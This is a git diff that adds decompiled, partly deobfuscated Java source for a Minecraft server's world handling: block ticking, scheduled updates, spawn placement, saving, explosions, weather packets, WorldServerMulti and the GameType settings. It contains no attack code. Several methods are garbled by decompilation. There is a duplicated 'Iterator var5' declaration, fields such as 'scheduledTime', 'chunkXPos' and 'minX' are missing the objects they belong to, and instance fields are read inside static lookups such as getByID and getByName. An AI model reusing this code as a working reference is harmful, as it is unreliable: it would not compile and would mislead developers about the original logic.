+          ExtendedBlockStorage[] var23 = var7.getBlockStorageArray();
+          int var24 = var23.length;
+          
+          for (int var11 = 0; var11 < var24; var11++)
+          {
+            ExtendedBlockStorage var12 = var23[var11];
+            
+            if ((var12 != null) && (var12.getNeedsRandomTick()))
+            {
+              for (int var13 = 0; var13 < var8; var13++)
+              {
+                updateLCG = (updateLCG * 3 + 1013904223);
+                int var14 = updateLCG >> 2;
+                int var15 = var14 & 0xF;
+                int var16 = var14 >> 8 & 0xF;
+                int var17 = var14 >> 16 & 0xF;
+                var2++;
+                BlockPos var18 = new BlockPos(var15 + var5, var17 + var12.getYLocation(), var16 + var6);
+                IBlockState var19 = var12.get(var15, var17, var16);
+                Block var20 = var19.getBlock();
+                
+                if (var20.getTickRandomly())
+                {
+                  var1++;
+                  var20.randomTick(this, var18, var19, rand);
+                }
+              }
+            }
+          }
+        }
+      }
+    }
+  }
+  
+  protected BlockPos func_175736_a(BlockPos p_175736_1_)
+  {
+    BlockPos var2 = func_175725_q(p_175736_1_);
+    AxisAlignedBB var3 = new AxisAlignedBB(var2, new BlockPos(var2.getX(), getHeight(), var2.getZ())).expand(3.0D, 3.0D, 3.0D);
+    List var4 = func_175647_a(EntityLivingBase.class, var3, new Predicate()
+    {
+      private static final String __OBFID = "CL_00001889";
+      
+      public boolean func_180242_a(EntityLivingBase p_180242_1_) {
+        return (p_180242_1_ != null) && (p_180242_1_.isEntityAlive()) && (isAgainstSky(p_180242_1_.getPosition()));
+      }
+      
+      public boolean apply(Object p_apply_1_) {
+        return func_180242_a((EntityLivingBase)p_apply_1_);
+      }
+    });
+    return !var4.isEmpty() ? ((EntityLivingBase)var4.get(rand.nextInt(var4.size()))).getPosition() : var2;
+  }
+  
+  public boolean isBlockTickPending(BlockPos pos, Block blockType)
+  {
+    NextTickListEntry var3 = new NextTickListEntry(pos, blockType);
+    return pendingTickListEntriesThisTick.contains(var3);
+  }
+  
+  public void scheduleUpdate(BlockPos pos, Block blockIn, int delay)
+  {
+    func_175654_a(pos, blockIn, delay, 0);
+  }
+  
+  public void func_175654_a(BlockPos p_175654_1_, Block p_175654_2_, int p_175654_3_, int p_175654_4_)
+  {
+    NextTickListEntry var5 = new NextTickListEntry(p_175654_1_, p_175654_2_);
+    byte var6 = 0;
+    
+    if ((scheduledUpdatesAreImmediate) && (p_175654_2_.getMaterial() != Material.air))
+    {
+      if (p_175654_2_.requiresUpdates())
+      {
+        var6 = 8;
+        
+        if (isAreaLoaded(field_180282_a.add(-var6, -var6, -var6), field_180282_a.add(var6, var6, var6)))
+        {
+          IBlockState var7 = getBlockState(field_180282_a);
+          
+          if ((var7.getBlock().getMaterial() != Material.air) && (var7.getBlock() == var5.func_151351_a()))
+          {
+            var7.getBlock().updateTick(this, field_180282_a, var7, rand);
+          }
+        }
+        
+        return;
+      }
+      
+      p_175654_3_ = 1;
+    }
+    
+    if (isAreaLoaded(p_175654_1_.add(-var6, -var6, -var6), p_175654_1_.add(var6, var6, var6)))
+    {
+      if (p_175654_2_.getMaterial() != Material.air)
+      {
+        var5.setScheduledTime(p_175654_3_ + worldInfo.getWorldTotalTime());
+        var5.setPriority(p_175654_4_);
+      }
+      
+      if (!pendingTickListEntriesHashSet.contains(var5))
+      {
+        pendingTickListEntriesHashSet.add(var5);
+        pendingTickListEntriesTreeSet.add(var5);
+      }
+    }
+  }
+  
+  public void func_180497_b(BlockPos p_180497_1_, Block p_180497_2_, int p_180497_3_, int p_180497_4_)
+  {
+    NextTickListEntry var5 = new NextTickListEntry(p_180497_1_, p_180497_2_);
+    var5.setPriority(p_180497_4_);
+    
+    if (p_180497_2_.getMaterial() != Material.air)
+    {
+      var5.setScheduledTime(p_180497_3_ + worldInfo.getWorldTotalTime());
+    }
+    
+    if (!pendingTickListEntriesHashSet.contains(var5))
+    {
+      pendingTickListEntriesHashSet.add(var5);
+      pendingTickListEntriesTreeSet.add(var5);
+    }
+  }
+  
+
+
+
+  public void updateEntities()
+  {
+    if (playerEntities.isEmpty())
+    {
+      if (updateEntityTick++ < 1200) {}
+
+
+    }
+    else
+    {
+
+      resetUpdateEntityTick();
+    }
+    
+    super.updateEntities();
+  }
+  
+
+
+
+  public void resetUpdateEntityTick()
+  {
+    updateEntityTick = 0;
+  }
+  
+
+
+
+  public boolean tickUpdates(boolean p_72955_1_)
+  {
+    if (worldInfo.getTerrainType() == WorldType.DEBUG_WORLD)
+    {
+      return false;
+    }
+    
+
+    int var2 = pendingTickListEntriesTreeSet.size();
+    
+    if (var2 != pendingTickListEntriesHashSet.size())
+    {
+      throw new IllegalStateException("TickNextTick list out of synch");
+    }
+    
+
+    if (var2 > 1000)
+    {
+      var2 = 1000;
+    }
+    
+    theProfiler.startSection("cleaning");
+    
+
+    for (int var3 = 0; var3 < var2; var3++)
+    {
+      NextTickListEntry var4 = (NextTickListEntry)pendingTickListEntriesTreeSet.first();
+      
+      if ((!p_72955_1_) && (scheduledTime > worldInfo.getWorldTotalTime())) {
+        break;
+      }
+      
+
+      pendingTickListEntriesTreeSet.remove(var4);
+      pendingTickListEntriesHashSet.remove(var4);
+      pendingTickListEntriesThisTick.add(var4);
+    }
+    
+    theProfiler.endSection();
+    theProfiler.startSection("ticking");
+    Iterator var11 = pendingTickListEntriesThisTick.iterator();
+    
+    while (var11.hasNext())
+    {
+      NextTickListEntry var4 = (NextTickListEntry)var11.next();
+      var11.remove();
+      byte var5 = 0;
+      
+      if (isAreaLoaded(field_180282_a.add(-var5, -var5, -var5), field_180282_a.add(var5, var5, var5)))
+      {
+        IBlockState var6 = getBlockState(field_180282_a);
+        
+        if ((var6.getBlock().getMaterial() != Material.air) && (Block.isEqualTo(var6.getBlock(), var4.func_151351_a())))
+        {
+          try
+          {
+            var6.getBlock().updateTick(this, field_180282_a, var6, rand);
+          }
+          catch (Throwable var10)
+          {
+            CrashReport var8 = CrashReport.makeCrashReport(var10, "Exception while ticking a block");
+            CrashReportCategory var9 = var8.makeCategory("Block being ticked");
+            CrashReportCategory.addBlockInfo(var9, field_180282_a, var6);
+            throw new ReportedException(var8);
+          }
+        }
+      }
+      else
+      {
+        scheduleUpdate(field_180282_a, var4.func_151351_a(), 0);
+      }
+    }
+    
+    theProfiler.endSection();
+    pendingTickListEntriesThisTick.clear();
+    return !pendingTickListEntriesTreeSet.isEmpty();
+  }
+  
+
+
+  public List getPendingBlockUpdates(Chunk p_72920_1_, boolean p_72920_2_)
+  {
+    ChunkCoordIntPair var3 = p_72920_1_.getChunkCoordIntPair();
+    int var4 = (chunkXPos << 4) - 2;
+    int var5 = var4 + 16 + 2;
+    int var6 = (chunkZPos << 4) - 2;
+    int var7 = var6 + 16 + 2;
+    return func_175712_a(new StructureBoundingBox(var4, 0, var6, var5, 256, var7), p_72920_2_);
+  }
+  
+  public List func_175712_a(StructureBoundingBox p_175712_1_, boolean p_175712_2_)
+  {
+    ArrayList var3 = null;
+    
+    for (int var4 = 0; var4 < 2; var4++)
+    {
+      Iterator var5;
+      Iterator var5;
+      if (var4 == 0)
+      {
+        var5 = pendingTickListEntriesTreeSet.iterator();
+      }
+      else
+      {
+        var5 = pendingTickListEntriesThisTick.iterator();
+        
+        if (!pendingTickListEntriesThisTick.isEmpty())
+        {
+          logger.debug("toBeTicked = " + pendingTickListEntriesThisTick.size());
+        }
+      }
+      
+      while (var5.hasNext())
+      {
+        NextTickListEntry var6 = (NextTickListEntry)var5.next();
+        BlockPos var7 = field_180282_a;
+        
+        if ((var7.getX() >= minX) && (var7.getX() < maxX) && (var7.getZ() >= minZ) && (var7.getZ() < maxZ))
+        {
+          if (p_175712_2_)
+          {
+            pendingTickListEntriesHashSet.remove(var6);
+            var5.remove();
+          }
+          
+          if (var3 == null)
+          {
+            var3 = Lists.newArrayList();
+          }
+          
+          var3.add(var6);
+        }
+      }
+    }
+    
+    return var3;
+  }
+  
+
+
+
+
+  public void updateEntityWithOptionalForce(Entity p_72866_1_, boolean p_72866_2_)
+  {
+    if ((!func_175735_ai()) && (((p_72866_1_ instanceof EntityAnimal)) || ((p_72866_1_ instanceof net.minecraft.entity.passive.EntityWaterMob))))
+    {
+      p_72866_1_.setDead();
+    }
+    
+    if ((!func_175738_ah()) && ((p_72866_1_ instanceof INpc)))
+    {
+      p_72866_1_.setDead();
+    }
+    
+    super.updateEntityWithOptionalForce(p_72866_1_, p_72866_2_);
+  }
+  
+  private boolean func_175738_ah()
+  {
+    return mcServer.getCanSpawnNPCs();
+  }
+  
+  private boolean func_175735_ai()
+  {
+    return mcServer.getCanSpawnAnimals();
+  }
+  
+
+
+
+  protected IChunkProvider createChunkProvider()
+  {
+    IChunkLoader var1 = saveHandler.getChunkLoader(provider);
+    theChunkProviderServer = new ChunkProviderServer(this, var1, provider.createChunkGenerator());
+    return theChunkProviderServer;
+  }
+  
+  public List func_147486_a(int p_147486_1_, int p_147486_2_, int p_147486_3_, int p_147486_4_, int p_147486_5_, int p_147486_6_)
+  {
+    ArrayList var7 = Lists.newArrayList();
+    
+    for (int var8 = 0; var8 < loadedTileEntityList.size(); var8++)
+    {
+      TileEntity var9 = (TileEntity)loadedTileEntityList.get(var8);
+      BlockPos var10 = var9.getPos();
+      
+      if ((var10.getX() >= p_147486_1_) && (var10.getY() >= p_147486_2_) && (var10.getZ() >= p_147486_3_) && (var10.getX() < p_147486_4_) && (var10.getY() < p_147486_5_) && (var10.getZ() < p_147486_6_))
+      {
+        var7.add(var9);
+      }
+    }
+    
+    return var7;
+  }
+  
+  public boolean isBlockModifiable(EntityPlayer p_175660_1_, BlockPos p_175660_2_)
+  {
+    return (!mcServer.isBlockProtected(this, p_175660_2_, p_175660_1_)) && (getWorldBorder().contains(p_175660_2_));
+  }
+  
+  public void initialize(WorldSettings settings)
+  {
+    if (!worldInfo.isInitialized())
+    {
+      try
+      {
+        createSpawnPosition(settings);
+        
+        if (worldInfo.getTerrainType() == WorldType.DEBUG_WORLD)
+        {
+          setDebugWorldSettings();
+        }
+        
+        super.initialize(settings);
+      }
+      catch (Throwable var6)
+      {
+        CrashReport var3 = CrashReport.makeCrashReport(var6, "Exception initializing level");
+        
+        try
+        {
+          addWorldInfoToCrashReport(var3);
+        }
+        catch (Throwable localThrowable1) {}
+        
+
+
+
+        throw new ReportedException(var3);
+      }
+      
+      worldInfo.setServerInitialized(true);
+    }
+  }
+  
+  private void setDebugWorldSettings()
+  {
+    worldInfo.setMapFeaturesEnabled(false);
+    worldInfo.setAllowCommands(true);
+    worldInfo.setRaining(false);
+    worldInfo.setThundering(false);
+    worldInfo.func_176142_i(1000000000);
+    worldInfo.setWorldTime(6000L);
+    worldInfo.setGameType(WorldSettings.GameType.SPECTATOR);
+    worldInfo.setHardcore(false);
+    worldInfo.setDifficulty(EnumDifficulty.PEACEFUL);
+    worldInfo.setDifficultyLocked(true);
+    getGameRules().setOrCreateGameRule("doDaylightCycle", "false");
+  }
+  
+
+
+
+  private void createSpawnPosition(WorldSettings p_73052_1_)
+  {
+    if (!provider.canRespawnHere())
+    {
+      worldInfo.setSpawn(BlockPos.ORIGIN.offsetUp(provider.getAverageGroundLevel()));
+    }
+    else if (worldInfo.getTerrainType() == WorldType.DEBUG_WORLD)
+    {
+      worldInfo.setSpawn(BlockPos.ORIGIN.offsetUp());
+    }
+    else
+    {
+      findingSpawnPoint = true;
+      WorldChunkManager var2 = provider.getWorldChunkManager();
+      List var3 = var2.getBiomesToSpawnIn();
+      Random var4 = new Random(getSeed());
+      BlockPos var5 = var2.findBiomePosition(0, 0, 256, var3, var4);
+      int var6 = 0;
+      int var7 = provider.getAverageGroundLevel();
+      int var8 = 0;
+      
+      if (var5 != null)
+      {
+        var6 = var5.getX();
+        var8 = var5.getZ();
+      }
+      else
+      {
+        logger.warn("Unable to find spawn biome");
+      }
+      
+      int var9 = 0;
+      
+      while (!provider.canCoordinateBeSpawn(var6, var8))
+      {
+        var6 += var4.nextInt(64) - var4.nextInt(64);
+        var8 += var4.nextInt(64) - var4.nextInt(64);
+        var9++;
+        
+        if (var9 == 1000) {
+          break;
+        }
+      }
+      
+
+      worldInfo.setSpawn(new BlockPos(var6, var7, var8));
+      findingSpawnPoint = false;
+      
+      if (p_73052_1_.isBonusChestEnabled())
+      {
+        createBonusChest();
+      }
+    }
+  }
+  
+
+
+
+  protected void createBonusChest()
+  {
+    WorldGeneratorBonusChest var1 = new WorldGeneratorBonusChest(bonusChestContent, 10);
+    
+    for (int var2 = 0; var2 < 10; var2++)
+    {
+      int var3 = worldInfo.getSpawnX() + rand.nextInt(6) - rand.nextInt(6);
+      int var4 = worldInfo.getSpawnZ() + rand.nextInt(6) - rand.nextInt(6);
+      BlockPos var5 = func_175672_r(new BlockPos(var3, 0, var4)).offsetUp();
+      
+      if (var1.generate(this, rand, var5)) {
+        break;
+      }
+    }
+  }
+  
+
+  public BlockPos func_180504_m()
+  {
+    return provider.func_177496_h();
+  }
+  
+
+
+  public void saveAllChunks(boolean p_73044_1_, IProgressUpdate p_73044_2_)
+    throws MinecraftException
+  {
+    if (chunkProvider.canSave())
+    {
+      if (p_73044_2_ != null)
+      {
+        p_73044_2_.displaySavingString("Saving level");
+      }
+      
+      saveLevel();
+      
+      if (p_73044_2_ != null)
+      {
+        p_73044_2_.displayLoadingString("Saving chunks");
+      }
+      
+      chunkProvider.saveChunks(p_73044_1_, p_73044_2_);
+      List var3 = theChunkProviderServer.func_152380_a();
+      Iterator var4 = var3.iterator();
+      
+      while (var4.hasNext())
+      {
+        Chunk var5 = (Chunk)var4.next();
+        
+        if (!thePlayerManager.func_152621_a(xPosition, zPosition))
+        {
+          theChunkProviderServer.dropChunk(xPosition, zPosition);
+        }
+      }
+    }
+  }
+  
+
+
+
+  public void saveChunkData()
+  {
+    if (chunkProvider.canSave())
+    {
+      chunkProvider.saveExtraData();
+    }
+  }
+  
+
+
+  protected void saveLevel()
+    throws MinecraftException
+  {
+    checkSessionLock();
+    worldInfo.func_176145_a(getWorldBorder().getDiameter());
+    worldInfo.func_176124_d(getWorldBorder().getCenterX());
+    worldInfo.func_176141_c(getWorldBorder().getCenterZ());
+    worldInfo.func_176129_e(getWorldBorder().getDamageBuffer());
+    worldInfo.func_176125_f(getWorldBorder().func_177727_n());
+    worldInfo.func_176122_j(getWorldBorder().getWarningDistance());
+    worldInfo.func_176136_k(getWorldBorder().getWarningTime());
+    worldInfo.func_176118_b(getWorldBorder().getTargetSize());
+    worldInfo.func_176135_e(getWorldBorder().getTimeUntilTarget());
+    saveHandler.saveWorldInfoWithPlayer(worldInfo, mcServer.getConfigurationManager().getHostPlayerData());
+    mapStorage.saveAllData();
+  }
+  
+  protected void onEntityAdded(Entity p_72923_1_)
+  {
+    super.onEntityAdded(p_72923_1_);
+    entitiesById.addKey(p_72923_1_.getEntityId(), p_72923_1_);
+    entitiesByUuid.put(p_72923_1_.getUniqueID(), p_72923_1_);
+    Entity[] var2 = p_72923_1_.getParts();
+    
+    if (var2 != null)
+    {
+      for (int var3 = 0; var3 < var2.length; var3++)
+      {
+        entitiesById.addKey(var2[var3].getEntityId(), var2[var3]);
+      }
+    }
+  }
+  
+  protected void onEntityRemoved(Entity p_72847_1_)
+  {
+    super.onEntityRemoved(p_72847_1_);
+    entitiesById.removeObject(p_72847_1_.getEntityId());
+    entitiesByUuid.remove(p_72847_1_.getUniqueID());
+    Entity[] var2 = p_72847_1_.getParts();
+    
+    if (var2 != null)
+    {
+      for (int var3 = 0; var3 < var2.length; var3++)
+      {
+        entitiesById.removeObject(var2[var3].getEntityId());
+      }
+    }
+  }
+  
+
+
+
+  public boolean addWeatherEffect(Entity p_72942_1_)
+  {
+    if (super.addWeatherEffect(p_72942_1_))
+    {
+      mcServer.getConfigurationManager().sendToAllNear(posX, posY, posZ, 512.0D, provider.getDimensionId(), new S2CPacketSpawnGlobalEntity(p_72942_1_));
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+  public void setEntityState(Entity entityIn, byte p_72960_2_)
+  {
+    getEntityTracker().func_151248_b(entityIn, new net.minecraft.network.play.server.S19PacketEntityStatus(entityIn, p_72960_2_));
+  }
+  
+
+
+
+  public Explosion newExplosion(Entity p_72885_1_, double p_72885_2_, double p_72885_4_, double p_72885_6_, float p_72885_8_, boolean p_72885_9_, boolean p_72885_10_)
+  {
+    Explosion var11 = new Explosion(this, p_72885_1_, p_72885_2_, p_72885_4_, p_72885_6_, p_72885_8_, p_72885_9_, p_72885_10_);
+    var11.doExplosionA();
+    var11.doExplosionB(false);
+    
+    if (!p_72885_10_)
+    {
+      var11.func_180342_d();
+    }
+    
+    Iterator var12 = playerEntities.iterator();
+    
+    while (var12.hasNext())
+    {
+      EntityPlayer var13 = (EntityPlayer)var12.next();
+      
+      if (var13.getDistanceSq(p_72885_2_, p_72885_4_, p_72885_6_) < 4096.0D)
+      {
+        playerNetServerHandler.sendPacket(new S27PacketExplosion(p_72885_2_, p_72885_4_, p_72885_6_, p_72885_8_, var11.func_180343_e(), (Vec3)var11.func_77277_b().get(var13)));
+      }
+    }
+    
+    return var11;
+  }
+  
+  public void addBlockEvent(BlockPos pos, Block blockIn, int eventID, int eventParam)
+  {
+    BlockEventData var5 = new BlockEventData(pos, blockIn, eventID, eventParam);
+    Iterator var6 = field_147490_S[blockEventCacheIndex].iterator();
+    
+    BlockEventData var7;
+    do
+    {
+      if (!var6.hasNext())
+      {
+        field_147490_S[blockEventCacheIndex].add(var5);
+        return;
+      }
+      
+      var7 = (BlockEventData)var6.next();
+    }
+    while (!var7.equals(var5));
+  }
+  
+  private void func_147488_Z()
+  {
+    while (!field_147490_S[blockEventCacheIndex].isEmpty())
+    {
+      int var1 = blockEventCacheIndex;
+      blockEventCacheIndex ^= 0x1;
+      Iterator var2 = field_147490_S[var1].iterator();
+      
+      while (var2.hasNext())
+      {
+        BlockEventData var3 = (BlockEventData)var2.next();
+        
+        if (func_147485_a(var3))
+        {
+          mcServer.getConfigurationManager().sendToAllNear(var3.func_180328_a().getX(), var3.func_180328_a().getY(), var3.func_180328_a().getZ(), 64.0D, provider.getDimensionId(), new net.minecraft.network.play.server.S24PacketBlockAction(var3.func_180328_a(), var3.getBlock(), var3.getEventID(), var3.getEventParameter()));
+        }
+      }
+      
+      field_147490_S[var1].clear();
+    }
+  }
+  
+  private boolean func_147485_a(BlockEventData p_147485_1_)
+  {
+    IBlockState var2 = getBlockState(p_147485_1_.func_180328_a());
+    return var2.getBlock() == p_147485_1_.getBlock() ? var2.getBlock().onBlockEventReceived(this, p_147485_1_.func_180328_a(), var2, p_147485_1_.getEventID(), p_147485_1_.getEventParameter()) : false;
+  }
+  
+
+
+
+  public void flush()
+  {
+    saveHandler.flush();
+  }
+  
+
+
+
+  protected void updateWeather()
+  {
+    boolean var1 = isRaining();
+    super.updateWeather();
+    
+    if (prevRainingStrength != rainingStrength)
+    {
+      mcServer.getConfigurationManager().sendPacketToAllPlayersInDimension(new S2BPacketChangeGameState(7, rainingStrength), provider.getDimensionId());
+    }
+    
+    if (prevThunderingStrength != thunderingStrength)
+    {
+      mcServer.getConfigurationManager().sendPacketToAllPlayersInDimension(new S2BPacketChangeGameState(8, thunderingStrength), provider.getDimensionId());
+    }
+    
+    if (var1 != isRaining())
+    {
+      if (var1)
+      {
+        mcServer.getConfigurationManager().sendPacketToAllPlayers(new S2BPacketChangeGameState(2, 0.0F));
+      }
+      else
+      {
+        mcServer.getConfigurationManager().sendPacketToAllPlayers(new S2BPacketChangeGameState(1, 0.0F));
+      }
+      
+      mcServer.getConfigurationManager().sendPacketToAllPlayers(new S2BPacketChangeGameState(7, rainingStrength));
+      mcServer.getConfigurationManager().sendPacketToAllPlayers(new S2BPacketChangeGameState(8, thunderingStrength));
+    }
+  }
+  
+  protected int getRenderDistanceChunks()
+  {
+    return mcServer.getConfigurationManager().getViewDistance();
+  }
+  
+  public MinecraftServer func_73046_m()
+  {
+    return mcServer;
+  }
+  
+
+
+
+  public EntityTracker getEntityTracker()
+  {
+    return theEntityTracker;
+  }
+  
+  public PlayerManager getPlayerManager()
+  {
+    return thePlayerManager;
+  }
+  
+  public Teleporter getDefaultTeleporter()
+  {
+    return worldTeleporter;
+  }
+  
+  public void func_175739_a(EnumParticleTypes p_175739_1_, double p_175739_2_, double p_175739_4_, double p_175739_6_, int p_175739_8_, double p_175739_9_, double p_175739_11_, double p_175739_13_, double p_175739_15_, int... p_175739_17_)
+  {
+    func_180505_a(p_175739_1_, false, p_175739_2_, p_175739_4_, p_175739_6_, p_175739_8_, p_175739_9_, p_175739_11_, p_175739_13_, p_175739_15_, p_175739_17_);
+  }
+  
+  public void func_180505_a(EnumParticleTypes p_180505_1_, boolean p_180505_2_, double p_180505_3_, double p_180505_5_, double p_180505_7_, int p_180505_9_, double p_180505_10_, double p_180505_12_, double p_180505_14_, double p_180505_16_, int... p_180505_18_)
+  {
+    S2APacketParticles var19 = new S2APacketParticles(p_180505_1_, p_180505_2_, (float)p_180505_3_, (float)p_180505_5_, (float)p_180505_7_, (float)p_180505_10_, (float)p_180505_12_, (float)p_180505_14_, (float)p_180505_16_, p_180505_9_, p_180505_18_);
+    
+    for (int var20 = 0; var20 < playerEntities.size(); var20++)
+    {
+      EntityPlayerMP var21 = (EntityPlayerMP)playerEntities.get(var20);
+      BlockPos var22 = var21.getPosition();
+      double var23 = var22.distanceSq(p_180505_3_, p_180505_5_, p_180505_7_);
+      
+      if ((var23 <= 256.0D) || ((p_180505_2_) && (var23 <= 65536.0D)))
+      {
+        playerNetServerHandler.sendPacket(var19);
+      }
+    }
+  }
+  
+  public Entity getEntityFromUuid(UUID uuid)
+  {
+    return (Entity)entitiesByUuid.get(uuid);
+  }
+  
+  public ListenableFuture addScheduledTask(Runnable runnableToSchedule)
+  {
+    return mcServer.addScheduledTask(runnableToSchedule);
+  }
+  
+  public boolean isCallingFromMinecraftThread()
+  {
+    return mcServer.isCallingFromMinecraftThread();
+  }
+  
+  static class ServerBlockEventList extends ArrayList
+  {
+    private static final String __OBFID = "CL_00001439";
+    
+    private ServerBlockEventList() {}
+    
+    ServerBlockEventList(Object p_i1521_1_)
+    {
+      this();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/WorldServerMulti.java b/src/minecraft/net/minecraft/world/WorldServerMulti.java
new file mode 100644
index 0000000..45aff05
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/WorldServerMulti.java
@@ -0,0 +1,79 @@
+package net.minecraft.world;
+
+import net.minecraft.profiler.Profiler;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.village.VillageCollection;
+import net.minecraft.world.border.WorldBorder;
+import net.minecraft.world.storage.DerivedWorldInfo;
+import net.minecraft.world.storage.ISaveHandler;
+import net.minecraft.world.storage.MapStorage;
+
+public class WorldServerMulti extends WorldServer
+{
+  private WorldServer delegate;
+  private static final String __OBFID = "CL_00001430";
+  
+  public WorldServerMulti(MinecraftServer server, ISaveHandler saveHandlerIn, int dimensionId, WorldServer delegate, Profiler profilerIn)
+  {
+    super(server, saveHandlerIn, new DerivedWorldInfo(delegate.getWorldInfo()), dimensionId, profilerIn);
+    this.delegate = delegate;
+    delegate.getWorldBorder().addListener(new net.minecraft.world.border.IBorderListener()
+    {
+      private static final String __OBFID = "CL_00002273";
+      
+      public void onSizeChanged(WorldBorder border, double newSize) {
+        getWorldBorder().setTransition(newSize);
+      }
+      
+      public void func_177692_a(WorldBorder border, double p_177692_2_, double p_177692_4_, long p_177692_6_) {
+        getWorldBorder().setTransition(p_177692_2_, p_177692_4_, p_177692_6_);
+      }
+      
+      public void onCenterChanged(WorldBorder border, double x, double z) {
+        getWorldBorder().setCenter(x, z);
+      }
+      
+      public void onWarningTimeChanged(WorldBorder border, int p_177691_2_) {
+        getWorldBorder().setWarningTime(p_177691_2_);
+      }
+      
+      public void onWarningDistanceChanged(WorldBorder border, int p_177690_2_) {
+        getWorldBorder().setWarningDistance(p_177690_2_);
+      }
+      
+      public void func_177696_b(WorldBorder border, double p_177696_2_) {
+        getWorldBorder().func_177744_c(p_177696_2_);
+      }
+      
+      public void func_177695_c(WorldBorder border, double p_177695_2_) {
+        getWorldBorder().setDamageBuffer(p_177695_2_);
+      }
+    });
+  }
+  
+
+  protected void saveLevel()
+    throws MinecraftException
+  {}
+  
+  public World init()
+  {
+    mapStorage = delegate.func_175693_T();
+    worldScoreboard = delegate.getScoreboard();
+    String var1 = VillageCollection.func_176062_a(provider);
+    VillageCollection var2 = (VillageCollection)mapStorage.loadData(VillageCollection.class, var1);
+    
+    if (var2 == null)
+    {
+      villageCollectionObj = new VillageCollection(this);
+      mapStorage.setData(var1, villageCollectionObj);
+    }
+    else
+    {
+      villageCollectionObj = var2;
+      villageCollectionObj.func_82566_a(this);
+    }
+    
+    return this;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/WorldSettings.java b/src/minecraft/net/minecraft/world/WorldSettings.java
new file mode 100644
index 0000000..a21b741
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/WorldSettings.java
@@ -0,0 +1,242 @@
+package net.minecraft.world;
+
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.world.storage.WorldInfo;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class WorldSettings
+{
+  private final long seed;
+  private final GameType theGameType;
+  private final boolean mapFeaturesEnabled;
+  private final boolean hardcoreEnabled;
+  private final WorldType terrainType;
+  private boolean commandsAllowed;
+  private boolean bonusChestEnabled;
+  private String worldName;
+  private static final String __OBFID = "CL_00000147";
+  
+  public WorldSettings(long seedIn, GameType gameType, boolean enableMapFeatures, boolean hardcoreMode, WorldType worldTypeIn)
+  {
+    worldName = "";
+    seed = seedIn;
+    theGameType = gameType;
+    mapFeaturesEnabled = enableMapFeatures;
+    hardcoreEnabled = hardcoreMode;
+    terrainType = worldTypeIn;
+  }
+  
+  public WorldSettings(WorldInfo info)
+  {
+    this(info.getSeed(), info.getGameType(), info.isMapFeaturesEnabled(), info.isHardcoreModeEnabled(), info.getTerrainType());
+  }
+  
+
+
+
+  public WorldSettings enableBonusChest()
+  {
+    bonusChestEnabled = true;
+    return this;
+  }
+  
+
+
+
+  public WorldSettings enableCommands()
+  {
+    commandsAllowed = true;
+    return this;
+  }
+  
+  public WorldSettings setWorldName(String name)
+  {
+    worldName = name;
+    return this;
+  }
+  
+
+
+
+  public boolean isBonusChestEnabled()
+  {
+    return bonusChestEnabled;
+  }
+  
+
+
+
+  public long getSeed()
+  {
+    return seed;
+  }
+  
+
+
+
+  public GameType getGameType()
+  {
+    return theGameType;
+  }
+  
+
+
+
+  public boolean getHardcoreEnabled()
+  {
+    return hardcoreEnabled;
+  }
+  
+
+
+
+  public boolean isMapFeaturesEnabled()
+  {
+    return mapFeaturesEnabled;
+  }
+  
+  public WorldType getTerrainType()
+  {
+    return terrainType;
+  }
+  
+
+
+
+  public boolean areCommandsAllowed()
+  {
+    return commandsAllowed;
+  }
+  
+
+
+
+  public static GameType getGameTypeById(int id)
+  {
+    return GameType.getByID(id);
+  }
+  
+  public String getWorldName()
+  {
+    return worldName;
+  }
+  
+  public static enum GameType
+  {
+    NOT_SET("NOT_SET", 0, -1, ""), 
+    SURVIVAL("SURVIVAL", 1, 0, "survival"), 
+    CREATIVE("CREATIVE", 2, 1, "creative"), 
+    ADVENTURE("ADVENTURE", 3, 2, "adventure"), 
+    SPECTATOR("SPECTATOR", 4, 3, "spectator");
+    
+    int id;
+    String name;
+    private static final GameType[] $VALUES = { NOT_SET, SURVIVAL, CREATIVE, ADVENTURE, SPECTATOR };
+    private static final String __OBFID = "CL_00000148";
+    
+    private GameType(String p_i1956_1_, int p_i1956_2_, int typeId, String nameIn)
+    {
+      id = typeId;
+      name = nameIn;
+    }
+    
+    public int getID()
+    {
+      return id;
+    }
+    
+    public String getName()
+    {
+      return name;
+    }
+    
+    public void configurePlayerCapabilities(PlayerCapabilities capabilities)
+    {
+      if (this == CREATIVE)
+      {
+        allowFlying = true;
+        isCreativeMode = true;
+        disableDamage = true;
+      }
+      else if (this == SPECTATOR)
+      {
+        allowFlying = true;
+        isCreativeMode = false;
+        disableDamage = true;
+        isFlying = true;
+      }
+      else
+      {
+        allowFlying = false;
+        isCreativeMode = false;
+        disableDamage = false;
+        isFlying = false;
+      }
+      
+      allowEdit = (!isAdventure());
+    }
+    
+    public boolean isAdventure()
+    {
+      return (this == ADVENTURE) || (this == SPECTATOR);
+    }
+    
+    public boolean isCreative()
+    {
+      return this == CREATIVE;
+    }
+    
+    public boolean isSurvivalOrAdventure()
+    {
+      return (this == SURVIVAL) || (this == ADVENTURE);
+    }
+    
+    public static GameType getByID(int idIn)
+    {
+      GameType[] var1 = values();
+      int var2 = var1.length;
+      
+      for (int var3 = 0; var3 < var2; var3++)
+      {
+        GameType var4 = var1[var3];
+        
+        if (id == idIn)
+        {
+          return var4;
+        }
+      }
+      
+      return SURVIVAL;
+    }
+    
+    public static GameType getByName(String p_77142_0_)
+    {
+      GameType[] var1 = values();
+      int var2 = var1.length;
+      
+      for (int var3 = 0; var3 < var2; var3++)
+      {
+        GameType var4 = var1[var3];
+        
+        if (name.equals(p_77142_0_))
+        {
+          return var4;
+        }
+      }
+      
+      return SURVIVAL;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/WorldType.java b/src/minecraft/net/minecraft/world/WorldType.java
new file mode 100644
index 0000000..b4348c0
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/WorldType.java
@@ -0,0 +1,156 @@
+package net.minecraft.world;
+
+
+public class WorldType
+{
+  public static final WorldType[] worldTypes = new WorldType[16];
+  
+
+  public static final WorldType DEFAULT = new WorldType(0, "default", 1).setVersioned();
+  
+
+  public static final WorldType FLAT = new WorldType(1, "flat");
+  
+
